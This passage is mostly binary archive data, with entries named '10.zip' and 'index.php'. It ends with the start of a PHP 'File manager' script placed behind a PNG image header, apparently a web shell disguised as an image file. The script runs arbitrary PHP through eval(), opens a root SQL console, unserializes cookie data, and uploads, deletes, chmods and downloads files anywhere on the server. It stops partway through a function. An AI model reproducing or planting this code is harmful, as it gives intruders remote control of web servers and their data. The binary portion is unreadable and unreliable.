ݕ�L�p���HWwA�@�i�k4./Ǫ���}x��8����?��h�ݑ��]e�%m	 Xk��:����J,g����w���\	)�T�M�f�vAx]=���R��0Brr��0�%I�$�]"��YC�tC��kOe����$0����k�8�]T�y�n�����u"�ڸ=�+{뉄�G���Y�ٮ�:35�{j�osn0�=y���)��QXT�J�jڛ�Ԋ}R�g� 1���H�����YǓ��LLM��BB\@I�NU��ںz�oSG��$� �{����"���ި��U�rj*kW.����nۊCsjK�-�ARc��bu�gB��&^��p�nVR:E����p��q�y_8#�A�g���QF�L���3�d�fN�+Xl(�V8B�/aYe"�ߡ`�	ZgwH��x��F�;oF;A\�Oݱ�O*�`�=!�v�9_Ռ]m��"o��C�tfP6��������Q�rWv�-��aѸ�t�t�
͹|H�[������x^�<�ۧa���~u3W��evhL�"ủC�����o
t��#������}�	L��
f��j�g�IxA��k�9>wG���
ڑE�e,��U8rQ���:|��x*@�p=� ^T�|�e7���
s��Rp����՞�ȴL��-�9�#��6d�1P�Kr�-�T^��ө�n�I��G��Bܛ��4τ�����ۄU>.��J^b6�٥,D�.Q&��O1|# OU4��M`ݿ�ǘ�S[�$?c�Ѹ��'�&��������8��jc%����tMeNh�b
ʹ�A����.�0�㉗��<�a�l6K	�Ӭ��RY���G�Z����(����o�թ��*�7e��g�Iq�#"�-��p��1>������<��9����V?�7��VNO����Z��Le�PM�h��w�T P;��M-t2�{���m����_+,��8�U摊��J;�<i:W����dy��Z����
�=7���-�6%�f�%����H)H��3�J�/MvRpF_�z��V�$x��uc�3�����}���-Aѭ�NJKd�f)y�QV�F­iښ���SOm�e�I�ۙ~�Od�\���
�rT<g�HH}L�D�9;Àm�m��δ�SC�55�x�M�ۛ�/� 
u�B�:��LFΡ�J&��Ⓐ�'�pP�b������������b��pp���ݔ��b�p��$ǴOsZ��!���X&x���k$"C7qL���˦�N=-K�z�<mk����������'ί�<�M'w�x3�H,WF�����8��H��US|�'�����LE(MUMuU��}d*Kb�|��V�:���\"���a�T	f)� ���[��-�;�޺{u��ڈ"/F�@�8�	Z��:�ӆ}ZH۞PA�1Ζ�ˣ�Bw����E���%cIK����Uȶ��7u'W��wE�g������_�9��ۃ@����Cx����0�>cc�Y���馓�ZTO�^^	���7m�k��j�7��!���0Q���>V�,�U��Kc�ϸ�[G|�w���SD$��K��Я���)B�h%�C�$5��Zr�z��F�^a|�f���J��!�S27�!�>����狀me<�|�_��Y|�R,e�!8�����W�Ŝ��(hތ{�?�>�5/F�f�;I�&m���r�W���<�%�g�e��cFp\���F[��5���ٓQ�ֲdT��`�z�/A�u�$'�Y\��w
;w7n��z��1���(�V�I:��+�M�9���/���
=����M�ŬWR �
3'��t{��a����<=�j| ��^A�XY�P���k
�5V�0�_>��!{�7��#��͡�!6M/��.���b�Xm��U�p��2�O+3<S��e�FE�f�*9%�:���GB�mD'CD D�,��D�@9W���ݘ�^��jy��`A�D�E.Ma\L��S�G8uԽk^k�=�pU��XXPg[�sE�-m���j�(�쵽����8��hi$����>|�e(�&On����&5ǧ�O.bm�O!�:J��Ѵ
&��U
\��^�������gjE�T,gB�
U+Ϯ���S��a�͠s���$�<K���	g�J_�ѿD�(���V���#�����g^a�LŠ��{��u5Ȧ�=���R��H�V�G��gݜ)�="�C�t�5L�����a�9��KV%��+֥15mN�wJ����u��Qm�C0�c�sK
���/+O��/�ý
6V���j�V늱�3C�^ ����`�`|�ܾ��Џ�<�K��L{R��d�o�I���6�ڊ-�16w��y���^VoN�����_0���z
�|�M�)a���M�⹡�9�^;h��w�LO�D��g^�s?z�����ݻB��N��ɾ&�[���b�O��ܿ�3�;U�HR���y��
6��@��q�c8���W��|�V� ��*.u^$4�.��8�7 ��~���X�;phKH�݌���R��o��+g�>K�5<}Q�ĩH��UN��t��i�$^�tu�R�/L
\n��i�W���>������>�.�S�1����R�Ð�Ɯ�
��N���E)|(���y:�&��0kS���Y��1�eo�⽙v��7ɠ�ǡ��s��A��񦣕����d�D��=��۫C���)�]��5ô�R8��½����	�Δ�~�ƔV�C[A2�9���ք{�a!~s�����X=��W���DN�,0���<K���֭䳧`�0:�Up68o�E٘�V"�n�����Ӳ\�����6�k��`s ��آ_+�M4��Ж<=�_MD
�H�s�,)�!��h���	-��f���]��g�^EB�=O \���+{E����l;���h6��%kPt '�M�v��<��M���$��(��k�aW�lG�/��廉��7��`E�1��͊]����ic
H�%���#�D�"��o02�)Y�C�[7�n� }��XPM�nc���7-�f��8��j#�fFn+Q��
	"�L0�hÅ�����ٍ�R,�<�Bw1!/��|�MB���(c�;ڗ�>�M^�"v�:q�m3��h��'2�U��4?�f|�%C�x�,h'��.l�H�j �WK�c��5�	�6���x�vJ���U`m32���Cz7�ϑ�P�ol4�LK7�J<H)�Fͬ�	���5�Mrs�?�F���lS{�ΐ���r:�B�]%1����*�/�U�$����Ⳑ�QF���	�-5���4^��j�!��ym^�M^��)^�t�c��&�Ӄ�W��"��/�M�N7��=nWCi�!�#�C?�FB��.�Q�0��s��z?�x�sךz��ò��<&D%x9�s.9Cs5�Ȕ=�g���:*������SV�;�b��,):MeB��j�#d�ֲ̯Td�5��2�v��i�HЈ���Uj��í������ꐊ���0L
n
��p��S~�ޑژ�Y3O)1OvS�H7l����Ĩ�P,��,��%����{��9�jt~]9�b�'(�(���c���[�t���R,�����$��&�Hn�+X�/^��/HI�
$��L/�%\
��R���d��vqu��U��Sz>�}b�nq
�kV�d�	��/��k$���P|�==_�􀻃Kdݬ�l�.������Fy�^%_�$�h���C�c�j���<��u��B2��h�?-�;�V��ԭ�ju֑Hy�]1�cO9l��(�*��|k��86���\��e�'L�B���c�jĕ����4
Z&��_2`q�]�-�>�d{q�)���ƃo�����/�J�J�v�񝉬�+O���'�t,wX�7���U3����TNo
6xz��,��"��Ĵ��l��&5i����bC,}I�
�Q��9������`�Y�}���ܤj��8�k:d1�)Ҍ-}�]��2��H82fgz�|I��PC�|[�?q�Y�0*j:��]�:YN��}!�
���!���l�_u	�PA�tW��(]��D�E�L�<�x��H��p�;�,�v�WQd��8�yΌ�_�F\>NX�a:�s��Q�}*����2�Jb�gxՐ�r�\��
��~W�K�t��:������Ba��|m��ag�x�80X��,�����D����O���~�A����Gm*�nl��V�_Qx(�8�N2"��P�z;ɂ|F��>(ˇ���d
'����*ݠA�a��Ƴ<���c|	QUiS]TȘ�W\�Z/p��ތ�"�e�Du�AtT�zB5��
B�����r�{���ֿcz�?��X��ڽT㣢��	�O�';�Y�hn���\�O 2�]rlG�g^߅��r)Q��7ǯѱL�������%H	�o��d#/b�\�υW+_g�g��ȉ	ѐ�	�C�1�q�F~ɟŁ��C�LC�*��Xo��2slTyl�R��O�Fn��{�HĶ�aZ|f�6�L�im,9�-��BL�2m�R�d�%T�sA��BϾA
�#w����OS{�QC8vƛ���w5|�M��&�*�Ϧ�|��O���g���"�h�&��8�:�صC��}0hd�������A"U��5Z��d	`CL�]�/,%=��v4�}�O��
	�e-��/��<��$��A��yWx�0���fD�T�)oJ,n�W��Xu�ɗ�w5�������\��KR�jZD�����?�HN�mj�z���-к�q˜!)H�����J	fN��eF��Y���"��R4ٝ����Ϋy�ɣI����u�{��Wjk
���r�~Q}�Ŏ�$@��	Uk���k`�'�
n�N�,4�D�)�o�pú�#� b
�gW��G,L���bV�Mx��h�����7o �)g,�OU��C��=q�~Q/���F��ۿ�'��3�vyC���z�&ns\.��2�w
��E8o�ڀ�P���l)t_�h�����W�۲8S�J~�m���ɲ���J�9��q70fJ��h�bCFN�;fۓ�0)MdD�����Uɜ��;�`#��1ރ)r:y�m�M�c[-�_l^,�^Fe�n��^0f]�s}h��7�3
��œ���(�޹w~��>���\M��hj�8�����+�M��j��9&5.kJ�b*�R��Y��g�!;�2�|u��HDCCl��מ�0��i1��-��J�,Jz"�	�DHq�jC
E��\�#K}�I�T{�H�>N���|P�X��_��v��є���M��ӷdj��5���6��߿u����k�fQ�/��qw{�k�)q�v5����H;�}�NV��hc��<�p�gGYsTǞ���W���	��&;C?'V�w��U�_�z�0+λ�}A$��Qv�)M
A˜3<o4����:�R~�
��2�#{^]�y�P�dsP$ݨ�E�w��K��N �8��f6a�6[�����&	~�W�Odl&P��z[�v�h-(iX�R��݋�\�8\�\�\r���9�*�wp�ׄ��*h}m4�옷�KrYf�
 @�}�O[�
��M���0�E����2�ĉ�Yo���e۳�ͥ�@�8��ݢ2z�V�'g���Q��O)������	!�c��MM-h�>=�*�ò�u(ϞG*�{�z�[����n��k���F���G��Ag�8����:�I��I#Ga��b�v�A!���7��r{/ �Y��>����-���v�& �I�ؿ�C)#c�Vf���)�񮅎�vr/T�m
"��l5͓�6�v��oO6[�L����2��R��P����j�S,w��M>%O����?�ym�,ù�m�&��|"\3�Z>xj�V�
�p��<y�xd+夁�����Ye��&Č�b�G� �'�<a�p����+��������̀���bѴK��4S�����Y�=[��N
N�ޥ��WZ���w7��<��;�
<�<��@�A���A�����`H�&Ίy!�&"�����
��%����)�����9���%�������J�M&0�O���L��ᇵ��!��������CC�#sS;]=�o��,�h~C6��Z@afd��[L��@tLt����,,,����t�Lx��/�����xt����#,�<�Aѐ�C���KJ��I���)Jk<�h�?X����Zj�h��)ZX�J[�}���kc��󍇆T)߯|H�����pN�sW�z��������i;��~o�gim��ka��kgmdn��U-k�0����[�z�z����Z�}sD<#�oB��-�l�7��}�B�vyC#��:|8���9��qF�z��Z�h~�g!��ҷKZ:uu��l�~������?����w�&�
�H@K)-3=<}<m3-k<kӖ�?)lcag���7�4���Y��h�?���@�t-�l��-l��,MTֲ���w�6�F��xz�F6�6�x���$�i9�i��O8���2�ų3�ճ6uz����l��,L[j;}�d�9xf�F�F:Z�F������C�_���E{-�t}8��������Z㛞\x�v��P�N��������������m�l�t��_<�г~��������g�g�g��B���-[-�2'��2��dhag�0#�[}k�wvv=[
@;R��J���?���<�[�(��`��bs[-#s���3է�1�xC<}S��0�����P�^�j�V��Qm"ÜĖ�{@~��s�Z�YZX�"T�[�ߚ=Ė�
�۟c�����!^���<0fhkki�N�m(����ӡv8�����
�?��z���$���_(4Բ�xh��S+�o@���Lm�OQ@�<\��~�����8x�H��C.�10
�Mz�,���?Д���G�)	%�����h3-[C������_������aabr@�<�K��ki8��(�2w��]�'������v�H�[j��{���?U���N�?rt-SS@N��?eQ<-km� F�c��c�����,�� c������.��U����6��Ŀ����ُ@X�n������ӱ�Ƶ��M�[n���忥M=ǟ�f��`��2��x��'.���cj�S�6�Ɂ$Z�E}�8@���?Sh>@�6$Ͼ6߆�;>"��C�?2�W�ga����s�	0 �|O.6~fgi�}8����v��т�!����Ӽ����/�Ư�=$�`����s�����0%@���>LA�9�$�[3��_�꯼��+��j�R�	ٙ�<<?4�/?5�����&};ӟ�f�zZ��=����?����9H�x~��=��g�æ��)�1��x<?k����#{�kA>��T�?�A���ȗ�\��;�Q��OJ�S��N~��?5�����Yo@m�J9/�~�8��3~h'ݟ�~'��`��jR��D�ِ�4>b�� �U)�~h�U�~�������% ?���B�����&�$�������������@�����7�'�������#�yg�g�.�,��� ����tI�!u�r���Wt��������ʯ�7(�z���H D =kkk
S��8T�c�z��CEOKτGG���Ȅ� /��'-"
����ъO�\WO��a�0Q6�>&k��>�i��#-
`����X-&\�zxL�,P���O����l����V}}=���gr+���k���
��
�a{0���}����?���Ϸ[^���<C=-݇��)`%���W��Ӻ��E	:zz�?�����X�3��RF*!=���x�L�L��t�a�A4�%o�q��=�8y,�s��k���FO��"��hEd�M�;Qz���������B#�e�e��m��
������-��[�����Ŭ����������������9`U�������J�VK���ZKG�����L���
��z���@g?b��Q9��<����?��Q�C4���b��q"xD�)h{����6w������G`���W��A4�#2���h�/�[�������Q���Q�C4��(��Dԏ�_&�7�c 균�=*��!���Q�jk��h�/�[����S������76���,���b�G��c4�é�&�B{T[{?F�7Q�9D1�Ӳ=�~�# ������B�(�bxD;=���o��C�bf�}D����q�X��e�X�u�h��S������="����y���w��?��(��Kԟ���@��%�O@�_ �_7}Q���Z:��dLv�ޔ7������ϯ|�j�m��cK�������#۟H�����4�b�W���1�Q�g���Q���ߘ7?����jJ�8�zL�7�͏��?��?����jJ�8����)�� �O@���!?N�,���L�eO�w���߁��6�_i����h�cl����A�"㷠�gE�_f�?�}G��d�@����e��< �;h��ED��ˣ!�OA��~Q�_���x��3����GDԟ���<"����`���'�=ڭ��8���)��A�&`��?k�����ǫ��a����X^��4�"2�&�B{,/_������"걼S�;h�/�﯂?����=�ߡ=�
��B�7Q��;<�~ڣZ����𨿉����뗿��2Q��Q?����Q���(Vv:Vv����������W���|���?���N�X��A�"�<D�;h1Q�Y)�/3�o��#����wd�;�����yD�>*�~����k�s�f>{��s������V|���o�����{,O ��GL�ڠ�����c����wd���#�<c�;hGd��\d�5�s�wd<N�~�c����LԿ�j�������Q��<T�;hQ����A�7Q��(iqP0  ��@@R��|��@0�s�A��c�ecC��M����-���������;n¨s@s;8 ���L`��ʟD�_w��P�xP�i���i�YXX�����h 뿽�=̍]�o�'�fP4��Px�x"�x|Ң�x��'�k���x�P��:��������������޷x�6v�?�x�A��:�����i�4P?�*`a��].��
 ����l
��ų�2����x�0k<-@���j�j4�v:�v������]����llbS���������C���R=�?ů��������3���R� �L��'e�
�l~B	��Ы@����)�����`�œ����/ȿ5�Y�O)����^�V��㜉��'��4�5��9O�T���P�A��Y��40Ӳ���@)��/}���o����oZ�
�X�A�N�z?�9�,t��G�`��O���R���402�h�M��T��" �?�{8��������Y��_z����?u�`ɟ��AGL�uG�E�sOr�l��?���g�mq��€�?����0ك���&`a��-��+��Z�Zf���w2���"�ď���D��B?K���w-�GX���|������4�~��;;��?W����������������O4p�ç~����\?��
�
��.����"-���O�
rڬ
F`�����u�ee���TdQx
�pP�J�@��Z��D�mg�Geka�g�m��ӊ�����+L\1�p��x���:����}ɛ�����'�x��p���<s����A`��k�%�A�0���-�_�����.*�sρp�_+�
�K�1a��N�d�_	�?��C�Dh4�\y8�~�{��d��g,��5�+W��@�Ug���Dϟ�Y��U\;�� ���E�S�߬�gzJ���~������@!~�C��6(�z�^8~�6� �L���ݢ�G	��o��88�ÿ��?%`@@�@��������\�?�jZ�
PKE�N\�N[����10.zipnu�[���PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
